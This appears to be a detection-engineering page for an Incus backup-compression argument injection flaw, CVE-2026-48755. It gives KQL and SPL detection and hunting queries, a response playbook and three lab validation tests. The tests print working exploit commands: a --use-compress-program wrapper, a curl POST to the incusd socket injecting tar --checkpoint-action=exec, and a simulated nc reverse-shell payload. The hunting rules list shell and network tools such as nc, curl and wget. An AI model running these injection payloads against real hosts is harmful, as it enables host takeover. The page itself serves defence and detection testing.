CVE-2026-48755 Microsoft Sentinel · KQL

Detect Incus Argument Injection in Backup Compression Algorithm (CVE-2026-48755) in Microsoft Sentinel

CVE-2026-48755 is a critical argument injection vulnerability in Incus (github.com/lxc/incus/v7/cmd/incusd) versions prior to 7.2.0. The backup compression algorithm parameter is not properly validated, allowing an attacker with API access to inject arbitrary arguments into the compression utility invocation. This can lead to Arbitrary File Write (AFW) and Arbitrary Command Execution (ACE) on the host system running incusd, potentially escaping the container management boundary and compromising the underlying hypervisor or host.

MITRE ATT&CK

Tactic
Execution Privilege Escalation Lateral Movement

KQL Detection Query

Microsoft Sentinel (KQL)
kusto 
union
  (DeviceProcessEvents
  | where FileName in~ ("gzip", "bzip2", "xz", "zstd", "lz4", "pigz")
  | where InitiatingProcessFileName =~ "incusd" or InitiatingProcessParentFileName =~ "incusd"
  | where ProcessCommandLine matches regex @"(-[a-zA-Z0-9]{0,3}[^-][a-zA-Z0-9]{0,10}|--[a-zA-Z0-9-]{4,}\s)"
  | where ProcessCommandLine has_any ("--use-compress-program", "-T", "--to-stdout", "-I", "--checkpoint-action", "--checkpoint=")
  | project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFileName),
  (DeviceFileEvents
  | where InitiatingProcessFileName =~ "incusd"
  | where FolderPath startswith "/var/lib/incus" or FolderPath startswith "/var/lib/lxd"
  | where ActionType in ("FileCreated", "FileModified")
  | where FileName endswith ".tar" or FileName endswith ".gz" or FileName endswith ".bz2" or FileName endswith ".xz"
  | project TimeGenerated, DeviceName, AccountName, FolderPath, FileName, InitiatingProcessCommandLine)
| sort by TimeGenerated desc
critical severity medium confidence

Detects suspicious compression utility invocations spawned by incusd that include argument injection patterns (e.g., --use-compress-program, --checkpoint-action) which can lead to arbitrary command execution, as well as anomalous file write activity from incusd.

Data Sources

Microsoft Defender for EndpointMicrosoft Sentinel

Required Tables

DeviceProcessEventsDeviceFileEvents

False Positives & Tuning

  • Legitimate incusd backup operations using standard compression flags on patched versions
  • Administrators manually invoking compression utilities with advanced flags for maintenance
  • Automated backup scripts running under the incusd process context
  • Monitoring or auditing tools that inspect incusd backup artifacts

Other platforms for CVE-2026-48755

Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Incus Backup Compression Argument Injection via --use-compress-program

    Expected signal: auditd execve event showing gzip process with parent incusd and argv containing '--use-compress-program=/tmp/evil_compress.sh'; file creation event for /tmp/cve_2026_48755_pwned.txt with incusd as initiating process ancestry

  2. Test 2Incus Backup Compression Argument Injection via tar --checkpoint-action

    Expected signal: auditd syscall execve showing tar invoked with --checkpoint-action=exec= argument, parent process incusd; possible child sh/bash process spawned from tar checkpoint handler

  3. Test 3Incus Backup Post-Exploitation Shell Callback Simulation

    Expected signal: Process event showing sh/bash spawned under incusd user context; network connection attempt from incusd process ancestry to external/loopback address on non-standard port; file write by incusd-context process outside /var/lib/incus/

Last updated: 2026-07-24 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the affected incusd version: run `incus version` or `incusd --version` on each host; any version < 7.2.0 is vulnerable and should be treated as compromised if exploitation indicators are present.
  2. Review incusd API access logs to identify which user or API token initiated the backup operation containing the injected compression argument. Correlate with `/var/log/incus/` or journald unit `incusd.service`.
  3. Inspect the exact compression argument passed via the API: extract from process audit logs or auditd syscall records the full argv[] of the compression child process to confirm injection payload and determine blast radius.
  4. Check for evidence of file writes or new executables created outside of normal Incus backup paths (/var/lib/incus/backups/) during the suspicious backup window.

Containment

  1. Immediately revoke or rotate all Incus API tokens and certificates that have backup creation privileges. Block external API access to incusd (default port 8443) at the firewall until patching is complete.
  2. If exploitation is confirmed, isolate the host from the network and take a memory snapshot and disk image before any remediation to preserve forensic evidence. Do not restart incusd until forensics are complete.

Evidence Collection

  1. Collect auditd logs covering the syscall execve events around the incusd process, specifically capturing argv[] for gzip/bzip2/xz/tar child processes. Export with `ausearch -c gzip --raw` or equivalent.
  2. Capture the full incusd API request log from `/var/log/incus/` and extract the backup POST request body to identify the injected `compression` parameter value and the source IP/token used.

Escalation Criteria

  • !Escalate immediately if a shell process (sh, bash, dash) is observed as a child or grandchild of incusd, indicating successful ACE and potential host compromise beyond the container boundary.
  • !Escalate if any new files with executable permissions are found written to system paths (/usr/local/bin, /etc/cron.d, /root/.ssh) with timestamps matching the suspicious backup operation window.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >auditd execve records for gzip/bzip2/xz/tar with argv[] containing --use-compress-program, --checkpoint-action, or -I flags, with ppid matching incusd
  • >Incus API access logs in /var/log/incus/ or journald (journalctl -u incusd) showing POST requests to /1.0/instances/{name}/backups with non-standard compression values
  • >Filesystem artifacts: newly created files with timestamps aligning to the backup operation, particularly in /tmp/, /var/lib/incus/, or any world-writable directory
  • >Network connections from the incusd process or its children to external IPs during or after the backup operation, potentially indicating C2 callback

Tuning Guidance

Start by filtering on known-patched Incus 7.2.0+ hosts to reduce noise — maintain a host inventory with Incus versions. Tune the compression argument regex to your organization's approved backup compression values (e.g., if only gzip is permitted, alert on any other algorithm). For the shell-spawn detections, whitelist any known legitimate shell wrappers used by your infrastructure automation that call incusd backup APIs. Adjust the 30-second EQL window based on observed backup initiation latency in your environment. If auditd is not deployed, prioritize rollout to all Incus hosts as the primary telemetry source for this detection.

Hunting Queries

Hunt for unexpected interpreter or network utility processes spawned directly under incusd, which would indicate post-exploitation activity following successful argument injection ACE.

Hunting — KQL
kql 
DeviceProcessEvents
| where InitiatingProcessFileName =~ "incusd"
| where FileName in~ ("sh", "bash", "dash", "python3", "perl", "ruby", "nc", "ncat", "curl", "wget")
| summarize count() by DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
| where count_ >= 1
| sort by count_ desc
Hunting — SPL
spl 
index=endpoint sourcetype=syslog
| where parent_process="incusd" AND process IN ("sh","bash","dash","python3","perl","nc","ncat","curl","wget")
| stats count by host, process, parent_process, cmdline
| sort -count

Hunt for external network connections originating from incusd process context, which may indicate C2 callback or data exfiltration following successful command injection.

Hunting — KQL
kql 
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "incusd"
| where RemoteIPType == "Public"
| where ActionType == "ConnectionSuccess"
| summarize count(), make_set(RemoteIP) by DeviceName, AccountName, LocalPort, RemotePort, InitiatingProcessCommandLine
| sort by count_ desc
Hunting — SPL
spl 
index=network sourcetype=zeek_conn OR sourcetype=firewall
| join type=inner src_ip [search index=endpoint process="incusd" | table host, src_ip]
| where dest_ip != src_ip AND NOT cidrmatch("10.0.0.0/8", dest_ip) AND NOT cidrmatch("172.16.0.0/12", dest_ip) AND NOT cidrmatch("192.168.0.0/16", dest_ip)
| stats count by host, src_ip, dest_ip, dest_port
| sort -count

Atomic Red Team Tests

Test 1 Incus Backup Compression Argument Injection via --use-compress-program
linux

Simulates CVE-2026-48755 by creating an Incus backup with a maliciously crafted compression algorithm value that injects --use-compress-program to execute an arbitrary command. Requires a running Incus instance < 7.2.0 and a test container.

Command

bash 
# Lab environment only — requires vulnerable incusd < 7.2.0
# Create a test container first: incus launch images:ubuntu/22.04 test-cve
# Create a malicious compression wrapper
echo '#!/bin/sh\nid > /tmp/cve_2026_48755_pwned.txt\nexec gzip "$@"' > /tmp/evil_compress.sh
chmod +x /tmp/evil_compress.sh
# Trigger backup with injected compression argument via incus CLI
# (translates to API POST /1.0/instances/test-cve/backups with compression manipulation)
incus export test-cve /tmp/test-backup.tar.gz --compression "gzip --use-compress-program=/tmp/evil_compress.sh" 2>/dev/null || true
# Verify ACE
cat /tmp/cve_2026_48755_pwned.txt

Cleanup

bash 
rm -f /tmp/evil_compress.sh /tmp/test-backup.tar.gz /tmp/cve_2026_48755_pwned.txt; incus delete test-cve --force 2>/dev/null || true

Expected Telemetry

auditd execve event showing gzip process with parent incusd and argv containing '--use-compress-program=/tmp/evil_compress.sh'; file creation event for /tmp/cve_2026_48755_pwned.txt with incusd as initiating process ancestry

Expected Detection

Triggers kql DeviceProcessEvents detection on ProcessCommandLine containing '--use-compress-program', spl on cmdline matching the injection pattern, and elastic_eql sequence rule

Test 2 Incus Backup Compression Argument Injection via tar --checkpoint-action
linux

Exploits CVE-2026-48755 using tar's --checkpoint-action argument to execute an arbitrary command when the compression utility is tar-based, demonstrating an alternative injection vector.

Command

bash 
# Lab environment only — requires vulnerable incusd < 7.2.0
# Prepare a command to execute
echo '#!/bin/sh\nwhoami >> /tmp/checkpoint_exec.txt' > /tmp/ckpt_payload.sh
chmod +x /tmp/ckpt_payload.sh
# Inject via backup compression parameter (checkpoint-action vector)
# Simulate the API call that incusd would translate to a tar invocation:
curl -sk --unix-socket /var/lib/incus/unix.socket \
  -X POST \
  -H 'Content-Type: application/json' \
  -d '{"compression_algorithm": "tar --checkpoint=1 --checkpoint-action=exec=/tmp/ckpt_payload.sh"}' \
  'http://localhost/1.0/instances/test-cve/backups' || true
# Check for execution evidence
cat /tmp/checkpoint_exec.txt 2>/dev/null

Cleanup

bash 
rm -f /tmp/ckpt_payload.sh /tmp/checkpoint_exec.txt

Expected Telemetry

auditd syscall execve showing tar invoked with --checkpoint-action=exec= argument, parent process incusd; possible child sh/bash process spawned from tar checkpoint handler

Expected Detection

Triggers elastic_eql sequence rule on compression child with --checkpoint-action argument; triggers crowdstrike_cql on CommandLine regex match; triggers spl risk_score 95 for checkpoint-action

Test 3 Incus Backup Post-Exploitation Shell Callback Simulation
linux

Simulates the post-exploitation phase of CVE-2026-48755 where successful argument injection leads to a reverse shell callback, demonstrating the ACE-to-host-compromise kill chain.

Command

bash 
# Lab environment only — simulates post-ACE callback, does NOT establish real C2
# Create a payload that mimics a reverse shell attempt (to localhost only, lab-safe)
echo '#!/bin/sh\n# Simulated reverse shell payload\nnc -z 127.0.0.1 4444 2>/dev/null; echo "callback_attempted" > /tmp/acce_simulation.txt' > /tmp/acce_payload.sh
chmod +x /tmp/acce_payload.sh
# Simulate incusd spawning this as if via argument injection
# (run as the incusd service user in the test environment)
su -s /bin/sh -c '/tmp/acce_payload.sh' incusd 2>/dev/null || bash /tmp/acce_payload.sh
cat /tmp/acce_simulation.txt

Cleanup

bash 
rm -f /tmp/acce_payload.sh /tmp/acce_simulation.txt

Expected Telemetry

Process event showing sh/bash spawned under incusd user context; network connection attempt from incusd process ancestry to external/loopback address on non-standard port; file write by incusd-context process outside /var/lib/incus/

Expected Detection

Triggers chronicle_yaral rule on shell spawn under incusd parent; triggers kql hunting query for interpreter processes under incusd; triggers sumo_logic query for suspicious child process; triggers network hunting query for incusd outbound connections

Related Detections

Tactic Hubs

TA0002ExecutionTA0004Privilege EscalationTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1611Escape to HostT1078Valid Accounts

Same Tactic: Execution

Popular Detections